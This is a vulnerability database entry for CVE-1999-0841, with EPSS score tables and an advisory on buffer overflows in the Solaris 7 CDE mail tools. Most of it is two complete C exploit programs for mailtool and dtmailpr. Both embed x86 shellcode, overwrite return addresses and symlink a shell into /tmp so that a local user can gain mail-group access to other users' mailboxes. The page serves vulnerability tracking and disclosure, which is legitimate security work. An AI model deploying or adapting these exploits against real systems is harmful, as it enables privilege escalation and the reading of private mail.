CVE-1999-0841 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	1.76%	–	–
2022-03-27	–	–	1.76%	–	–
2022-04-03	–	–	1.76%	–	–
2022-04-17	–	–	1.76%	–	–
2022-08-28	–	–	1.76%	–	–
2023-03-05	–	–	1.76%	–	–
2023-03-12	–	–	–	0.04%	–
2024-06-02	–	–	–	0.04%	–
2025-01-19	–	–	–	0.04%	–
2025-03-18	–	–	–	–	0.13%
2025-03-30	–	–	–	–	0.34%
2025-04-15	–	–	–	–	0.34%
2025-04-15	–	–	–	–	0.34,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	54%
2022-03-27	55%
2022-04-03	74%
2022-04-17	75%
2022-08-28	76%
2023-03-05	77%
2023-03-12	–
2024-06-02	–
2025-01-19	–
2025-03-18	3%
2025-03-30	54%
2025-04-15	56%
2025-04-15	56%

// source: https://www.securityfocus.com/bid/832/info here are three buffer overflow vulnerabilities in the CDE mail utilities, all of which are installed sgid mail by default. The first is exploited through overrunning a buffer in the Content-Type: field, which would look something like this: Content-Type: image/aaaaaaaa long 'a' aaaaaa; name="test.gif" mailtool will overflow when email is selected which has a content-type field like that. It may be possible for an attacker to obtain root priviliges if shellcode is written appropriately and root selects the malicious email message. The second vulnerability is in dtmail, which will crash (and possibly execute arbitrary code) if a long paramater is passed argumenting the -f command-line option. The third is in mailpr, which is vulnerable to a long -f paramater as well. The most basic consequence of these being exploited is a compromise of local email, since all mail data is set mode 660, read and write permissions granted for members of group mail. As of November 30, 1999, Solaris 7 is the only known vulnerable platform. ex_mailtool.c ----- /*============================================================================= Solaris mailtool exploit for Solaris7 Intel Edition The Shadow Penguin Security (http://shadowpenguin.backsection.net) Written by UNYUN (shadowpenguin@backsection.net) Descripton: Local user can read/write any user's mailbox Usage: setenv DISPLAY yourdisply gcc ex_mailtool.c ./a.out /var/mail/[any user] - Choice "exploit@localhost" mail ============================================================================= */ #include <stdio.h> #define FAKEADR 96 #define FAKEOFS 0x1000 #define RETADR 84 #define RETOFS 0x1224 #define EXPADR 300 #define NOP 0x90 #define MAXBUF 2000 #define DIR "/usr/openwin/bin" #define HEAD \ "From exploit@localhost Fri Nov 26 00:01 JST 1999\n"\ "Content-Type: multipart/mixed; "\ "boundary=\"VGh1LCAyNSBOb3YgMTk5OSAyMjozOTo1MSArMDkwMA==\"\n"\ "Content-Length: 340\n\n"\ "--VGh1LCAyNSBOb3YgMTk5OSAyMjozOTo1MSArMDkwMA==\n"\ "Content-Type: image/%s; name=\"test.gif\"\n"\ "Content-Disposition: attachment;\n"\ " filename=\"test.gif\"\n"\ "Content-Transfer-Encoding: base64\n\n"\ "IA==\n\n"\ "--VGh1LCAyNSBOb3YgMTk5OSAyMjozOTo1MSArMDkwMA==--\n\n" unsigned long get_sp(void) { __asm__(" movl %esp,%eax "); } char exploit_code[2000] = "\xeb\x1c\x5e\x33\xc0\x33\xdb\xb3\x08\xfe\xc3\x2b\xf3\x88\x06" "\x6a\x06\x50\xb0\x88\x9a\xff\xff\xff\xff\x07\xee\xeb\x06\x90" "\xe8\xdf\xff\xff\xff\x55\x8b\xec\x83\xec\x08\xeb\x5d\x33\xc0" "\xb0\x3a\xfe\xc0\xeb\x16\xc3\x33\xc0\x40\xeb\x10\xc3\x5e\x33" "\xdb\x89\x5e\x01\xc6\x46\x05\x07\x88\x7e\x06\xeb\x05\xe8\xec" "\xff\xff\xff\x9a\xff\xff\xff\xff\x0f\x0f\xc3\x5e\x33\xc0\x89" "\x76\x08\x88\x46\x07\x33\xd2\xb2\x06\x02\xd2\x89\x04\x16\x50" "\x8d\x46\x08\x50\x8b\x46\x08\x50\xe8\xb5\xff\xff\xff\x33\xd2" "\xb2\x06\x02\xd2\x03\xe2\x6a\x01\xe8\xaf\xff\xff\xff\x83\xc4" "\x04\xe8\xc9\xff\xff\xff/tmp/xx"; main(int argc, char *argv[]) { static char buf[MAXBUF]; FILE *fp; unsigned int i,ip,sp; if (argc!=2){ printf("usage : %s mailbox\n",argv[0]); exit(1); } putenv("LANG="); sp=get_sp(); system("ln -s /bin/ksh /tmp/xx"); printf("esp = 0x%x\n",sp); memset(buf,NOP,MAXBUF); buf[MAXBUF-1]=0; ip=sp-FAKEOFS; printf("fake = 0x%x\n",ip); buf[FAKEADR ]=ip&0xff; buf[FAKEADR+1]=(ip>>8)&0xff; buf[FAKEADR+2]=(ip>>16)&0xff; buf[FAKEADR+3]=(ip>>24)&0xff; ip=sp-RETOFS; printf("eip = 0x%x\n",ip); buf[RETADR ]=ip&0xff; buf[RETADR+1]=(ip>>8)&0xff; buf[RETADR+2]=(ip>>16)&0xff; buf[RETADR+3]=(ip>>24)&0xff; strncpy(buf+EXPADR,exploit_code,strlen(exploit_code)); if ((fp=fopen(argv[1],"ab"))==NULL){ printf("Can not write '%s'\n",argv[1]); exit(1); } fprintf(fp,HEAD,buf); fclose(fp); printf("Exploit mail has been added.\n"); printf("Choice \"exploit@localhost\" mail.\n"); sprintf(buf,"cd %s; mailtool",DIR); system(buf); } ex_mailtool.c ----- /*============================================================================= Solaris dtmailpr exploit for Solaris7 Intel Edition The Shadow Penguin Security (http://shadowpenguin.backsection.net) Written by UNYUN (shadowpenguin@backsection.net) Descripton: Local user can read/write any user's mailbox ============================================================================= */ #include <stdio.h> #define RETADR 1266 #define RETOFS 0x1d88 #define EXPADR 300 #define NOP 0x90 #define MAXBUF 2000 unsigned long get_sp(void) { __asm__(" movl %esp,%eax "); } char exploit_code[2000] = "\xeb\x1c\x5e\x33\xc0\x33\xdb\xb3\x08\xfe\xc3\x2b\xf3\x88\x06" "\x6a\x06\x50\xb0\x88\x9a\xff\xff\xff\xff\x07\xee\xeb\x06\x90" "\xe8\xdf\xff\xff\xff\x55\x8b\xec\x83\xec\x08\xeb\x5d\x33\xc0" "\xb0\x3a\xfe\xc0\xeb\x16\xc3\x33\xc0\x40\xeb\x10\xc3\x5e\x33" "\xdb\x89\x5e\x01\xc6\x46\x05\x07\x88\x7e\x06\xeb\x05\xe8\xec" "\xff\xff\xff\x9a\xff\xff\xff\xff\x0f\x0f\xc3\x5e\x33\xc0\x89" "\x76\x08\x88\x46\x07\x33\xd2\xb2\x06\x02\xd2\x89\x04\x16\x50" "\x8d\x46\x08\x50\x8b\x46\x08\x50\xe8\xb5\xff\xff\xff\x33\xd2" "\xb2\x06\x02\xd2\x03\xe2\x6a\x01\xe8\xaf\xff\xff\xff\x83\xc4" "\x04\xe8\xc9\xff\xff\xff/tmp/xx"; main() { static char buf[MAXBUF+1000]; FILE *fp; unsigned int i,ip,sp; putenv("LANG="); sp=get_sp(); system("ln -s /bin/ksh /tmp/xx"); printf("esp = 0x%x\n",sp); memset(buf,NOP,MAXBUF); ip=sp-RETOFS; printf("eip = 0x%x\n",ip); buf[RETADR ]=ip&0xff; buf[RETADR+1]=(ip>>8)&0xff; buf[RETADR+2]=(ip>>16)&0xff; buf[RETADR+3]=(ip>>24)&0xff; strncpy(buf+EXPADR,exploit_code,strlen(exploit_code)); buf[MAXBUF-1]=0; execl("/usr/dt/bin/dtmailpr","dtmailpr","-f",buf,0); }